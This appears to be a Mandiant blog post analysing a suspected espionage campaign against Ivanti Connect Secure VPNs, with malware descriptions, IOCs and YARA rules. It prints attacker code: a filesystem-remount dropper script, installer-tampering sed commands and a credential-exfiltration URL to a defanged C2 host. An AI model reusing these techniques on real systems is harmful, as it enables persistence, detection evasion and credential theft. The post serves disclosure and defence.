Cutting Edge: Suspected APT Targets Ivanti Connect Secure VPN in New Zero-Day Exploitation

Note: This is a developing campaign under active analysis by Mandiant and Ivanti. We will continue to add more indicators, detections, and information to this blog post as needed.

On January 10, 2024, Ivanti disclosed two vulnerabilities, CVE-2023-46805 and CVE-2024-21887, impacting Ivanti Connect Secure VPN ("CS", formerly Pulse Secure) and Ivanti Policy Secure ("PS") appliances. Successful exploitation could result in authentication bypass and command injection, leading to further downstream compromise of a victim network. Mandiant has identified zero-day exploitation of these vulnerabilities in the wild beginning as early as December 2023 by a suspected espionage threat actor, currently being tracked as UNC5221.

Ivanti has been working closely with Mandiant, affected customers, government partners, and Volexity to address these issues. As part of their investigation, Ivanti has released a blog post and mitigations for the vulnerabilities exploited in this campaign to assist with determining if systems have been impacted. Patches are currently being developed and Ivanti customers are urged to follow the KB article to stay informed on target dates and releases.

Mandiant is sharing details of five malware families associated with the exploitation of CS and PS devices. These families allow the threat actors to circumvent authentication and provide backdoor access to these devices. Additional post-exploitation tools have also been identified in our investigation and are highlighted further in this post. For even more analysis and technical details, register for our webinar on January 18, 2023 or watch it on demand following the presentation.

Post Exploitation Activity

Following the successful exploitation of CVE-2023-46805 (authentication bypass) and CVE-2024-21887 (command injection), UNC5221 leveraged multiple custom malware families, in several cases trojanizing legitimate files within

CS with malicious code. UNC5221 was also observed leveraging the PySoxy tunneler and BusyBox to enable post-exploitation activity.

Due to certain sections of the device being read-only, UNC5221 leveraged a Perl script (`sessionserver.pl`) to remount the filesystem as read/write and enable the deployment of THINSPOOL, a shell script dropper that writes the web shell LIGHTWIRE to a legitimate Connect Secure file, and other follow-on tooling.

```
use lib ($ENV{'DSINSTALL'} =~ /(\S*)/)[0] . "/perl";

use DSSafe;

system("mount -o remount,rw /");

system("chmod a+x /home/etc/sql/dsserver/sessionserver.sh");

system("/home/etc/sql/dsserver/sessionserver.sh 1>/dev/null 2>/tmp/errlog");

system("mount -o remount,ro /");
```

Mandiant has determined that THINSPOOL acts as a key tool for both persistence and detection evasion, in addition to being the initial dropper for the LIGHTWIRE web shell used by UNC5221 for post-exploitation activity. The LIGHTWIRE and WIREFIRE web shells used by UNC5221, post-compromise, are lightweight footholds enabling further and continued access to the CS appliances. This indicates that these are not opportunistic attacks, and UNC5221 intended to maintain its presence on a subset of high priority targets that it compromised after a patch was inevitably released. Additionally, the WARPWIRE Javascript credential stealer may also enable further access to accounts for lateral movement or espionage by capturing plaintext login credentials.

Custom Malware Identified

ZIPLINE Passive Backdoor

ZIPLINE is a passive backdoor that hijacks an exported function, `accept()`, from the file libsecure.so. When ZIPLINE invokes the hijacked `accept()` function, it first resolves the benign `accept()` from `libc`, to intercept network traffic. Once an incoming connection is registered, it is first processed by the benign `libc_accept`, and ZIPLINE then checks if the process name is “web”. The malware retrieves up to 21 bytes from the connected host, verifying if the received buffer corresponds to the string “SSH-2.0-OpenSSH_0.3xx.” If so, the malicious functionality of ZIPLINE is triggered. ZIPLINE will then receive an encrypted header which specifies the command to be executed. Further details about this hijacking technique for the `accept()` function can be found in this SecureIdeas post.

ZIPLINE supports the following commands:

Command ID	Operation	Description
1	File Upload	The command contains the path of the file to be sent to the connected host.
2	File Download	The command contains the file path and its content to be saved on the compromised system.
3	Reverse Shell	A reverse shell is created using `/bin/sh` and the provided command is executed
4	Proxy Server	Creates a proxy server with an IP address provided as part of the command.
5	Tunneling Server	Implements a tunneling server, capable of simultaneously dispatching traffic between multiple endpoints.

Upon initialization, ZIPLINE copies `/etc/ld.so.preload` to `/tmp/data/root/etc/ld.so.preload`, which will be executed if the process name is “dspkginstall”. ZIPLINE then copies itself to `/tmp/data/root/home/lib`.

Upon termination ZIPLINE first checks if the process name is tar. If the process name is tar, the malware executes different functionalities based on the provided parameters: `-xzf`, `--exclude`, or `./installer`.

If the parameter `--exclude` is used, ZIPLINE will add itself to the CS `exclusion_list`. The `exclusion_list` is part of the Ivanti Integrity Checker Tool and Mandiant assesses this is a measure implemented by the attacker to evade detection.

If the parameter `-xzf` is used, ZIPLINE computes its own SHA256 hash, formats the line `<sha256> ./root<self_fpath>`, and then appends this string to each file within the `./installer/bom_files` directory. This is achieved using the command: `echo <formatted_sha256_string> >> ./installer/bom_files/<file_name>`.

If the parameter `./installer` is used, ZIPLINE deletes specific lines from `/pkg/do-install` and `./installer/do-install`. To do so, it executes the following `sed` commands:

```
sed -i '/retval=$(exec $installer $@)/d' /pkg/do-install
sed -i '/exit $?/d' /pkg/do-install
sed -i '/retval=$(exec $installer $@)/d' ./installer/do-install
sed -i '/exit $?/d' ./installer/do-install
```

THINSPOOL Dropper

THINSPOOL is a dropper written in shell script that writes the web shell LIGHTWIRE to a legitimate CS file. THINSPOOL will re-add the malicious web shell code to legitimate files after an update, allowing UNC5221 to persist on the compromised devices. THINSPOOL attempts to evade Ivanti's Integrity Checker but Mandiant observed this attempt failed.

LIGHTWIRE and WIREFIRE Web Shells

LIGHTWIRE is a web shell written in Perl CGI that is embedded into a legitimate Secure Connect file to enable arbitrary command execution. LIGHTWIRE intercepts requests to `compcheckresult.cgi` that contain the parameters "`comp=comp`" and "`compid`", where "`compid`" contains Base64-encoded and RC4-encrypted ciphertext. The decoded cleartext is interpreted and executed as Perl code.

WIREFIRE is a web shell written in Python that exists as trojanized logic to a component of the Connect Secure appliance. WIREFIRE supports downloading files to the compromised device and executing arbitrary commands. It contains logic inserted before authentication that responds to specific HTTP POST requests to `/api/v1/cav/client/visits`. If formdata entry "`file`" exists, the web shell saves the content to the device with a specified filename; if not, the web shell attempts to decode, decrypt, and zlib decompress any raw data existing after a GIF header to execute as a subprocess. The output of the executed process will be zlib compressed, AES-encrypted with the same key, and Base64-encoded before being sent back as JSON with a "`message`" field via an HTTP 200 OK.

WARPWIRE Credential Harvester

WARPWIRE is a credential harvester written in Javascript that is embedded into a legitimate Connect Secure file. WARPWIRE targets plaintext passwords and usernames which are submitted via a HTTP GET request to a command and control (C2) server.

WARPWIRE captures credentials submitted during the web logon to access layer 7 applications, like RDP. Captured credentials are Base64-encoded with `btoa()` before they are submitted to the C2 via a HTTP GET request.

```
hxxps://symantke[.]com/?<username>&<password>
```

Attribution

At the time of publication, Mandiant had not linked this activity to a previously known group, nor do we currently have enough data to assess the origin of this threat actor. UNC5221 was created to track this suspected espionage actor. The targeting of edge infrastructure with zero-day vulnerabilities has been a consistent tactic leveraged by espionage actors to enable their operations. Additionally, Mandiant has previously observed multiple suspected APT actors utilizing appliance specific malware to enable post-exploitation and evade detection. These instances, combined with Volexity's findings around targeting, leads Mandiant to suspect this is an espionage-motivated APT campaign.

UNC5221 primarily used compromised out-of-support Cyberoam VPN appliances for C2. These compromised devices were domestic to the victims, which likely helped the threat actor to better evade detection.

Conclusion & Recommendations

UNC5221's activity demonstrates that exploiting and living on the edge of networks remains a viable and attractive target for espionage actors. As we have previously reported, the combination of zero-day exploitation, edge device compromise, use of compromised C2 infrastructure, and detection evasion methods such as writing code to legitimate files have become a hallmark of espionage actors' toolboxes.

We recommend following the guidance outlined in the Ivanti blog post on this activity. Ivanti customers are urged to implement mitigation as soon as possible and to follow the post for upcoming patch release schedules. Details about Ivanti's Integrity Checker Tool (ICT) are also available.

Acknowledgement

We would like to thank the team at Ivanti for their partnership and support in this investigation. Additionally, this analysis would not have been possible without the assistance from people across Mandiant Intelligence, Consulting, and FLARE as well as our colleagues on Google TAG. We would like to specifically acknowledge Aseel Kayal and Nick Simonian from Mandiant's Adversary Methods Research and Discovery (RAD) team for their support of this investigation.

Indicators of Compromise (IOCs)

Code Family	Filename	Description
LIGHTWIRE	compcheckresult.cgi	Web shell
THINSPOOL	sessionserver.sh	Web shell dropper
WARPWIRE	lastauthserverused.js	Credential harvester
WIREFIRE	visits.py	Web shell
THINSPOOL Utility	sessionserver.pl	Script
ZIPLINE	libsecure.so.1	Passive backdoor

Network-Based Indicators (NBIs)

symantke[.]com WARPWIRE C2

YARA Rules

```
rule M_Hunting_Backdoor_ZIPLINE_1 {

  meta:

    author = "Mandiant"
```

```
    description = "This rule detects unique strings in ZIPLINE, a passive ELF backdoor that waits
for incoming TCP connections to receive commands from the threat actor."

  strings:

    $s1 = "SSH-2.0-OpenSSH_0.3xx" ascii

    $s2 = "$(exec $installer $@)" ascii

    $t1 = "./installer/do-install" ascii

    $t2 = "./installer/bom_files/" ascii

    $t3 = "/tmp/data/root/etc/ld.so.preload" ascii

    $t4 = "/tmp/data/root/home/etc/manifest/exclusion_list" ascii

  condition:

    uint32(0) == 0x464c457f and

    filesize < 5MB and

    ((1 of ($s*)) or

    (3 of ($t*)))

}
rule M_Hunting_Dropper_WIREFIRE_1 {

  meta:

    author = "Mandiant"

    description = "This rule detects WIREFIRE, a web
shell written in Python that exists as trojanized logic to a component of the pulse secure appliance."

    md5 = "6de651357a15efd01db4e658249d4981"

  strings:

    $s1 = "zlib.decompress(aes.decrypt(base64.b64decode(" ascii

    $s2 = "aes.encrypt(t+('\\x00'*(16-len(t)%16))" ascii

    $s3 = "Handles DELETE request to delete an existing visits data." ascii

    $s4 = "request.data.decode().startswith('GIF'):" ascii

    $s5 = "Utils.api_log_admin" ascii

  condition:

    filesize < 10KB

    and all of them

}
rule M_Hunting_Webshell_LIGHTWIRE_2 {

  meta:

    author = "Mandiant"

    description = "Detects LIGHTWIRE based on the RC4
decoding and execution 1-liner."

    md5 = "3d97f55a03ceb4f71671aa2ecf5b24e9"

  strings:
```

```
    $re1 = /eval\{my.{1,20}Crypt::RC4->new\(\".{1,50}->RC4\
(decode_base64\(CGI::param\(\'.{1,30};eval\s\$.{1,30}\"Compatibility
\scheck:\s\$@\";\}/

  condition:

    filesize < 10KB

    and all of them

}
rule M_Hunting_Dropper_THINSPOOL_1 {

  meta:

    author = "Mandiant"

    description = "This rule detects THINSPOOL, a dropper that
installs the LIGHTWIRE web shell onto a Pulse Secure system."

    md5 = "677c1aa6e2503b56fe13e1568a814754"

  strings:

    $s1 = "/tmp/qactg/" ascii

    $s2 = "echo '/home/config/dscommands'" ascii

    $s3 = "echo '/home/perl/DSLogConfig.pm'" ascii

    $s4 = "ADM20447" ascii

  condition:

    filesize < 10KB

    and all of them

}
rule M_Hunting_CredTheft_WARPWIRE_1

{

  meta:

    author = "Mandiant"

    description = "This rule detects WARPWIRE, a credential stealer
written in Javascript that is embedded into a legitimate Pulse Secure file."

    md5 = "d0c7a334a4d9dcd3c6335ae13bee59ea"

  strings:

    $s1 = {76 61 72 20 77 64 61 74 61 20 3d 20 64 6f 63 75 6d 65 6e
74 2e 66 72 6d 4c 6f 67 69 6e 2e 75 73 65 72 6e 61 6d 65 2e 76 61 6c 75 65 3b}

    $s2 = {76 61 72 20 73 64 61 74 61 20 3d 20 64 6f 63 75 6d 65 6e
74 2e 66 72 6d 4c 6f 67 69 6e 2e 70 61 73 73 77 6f 72 64 2e 76 61 6c 75 65 3b}

    $s3 = {2b 77 64 61 74 61 2b 27 26 27 2b 73 64 61 74 61 3b}

    $s4 = {76 61 72 20 78 68 72 20 3d 20 6e 65 77 20 58 4d 4c 48
74 74 70 52 65 71 75 65 73 74}

    $s5 = "Remember the last selected auth realm for 30 days" ascii

  condition:

   filesize < 8KB and

all of them
```

```
}
```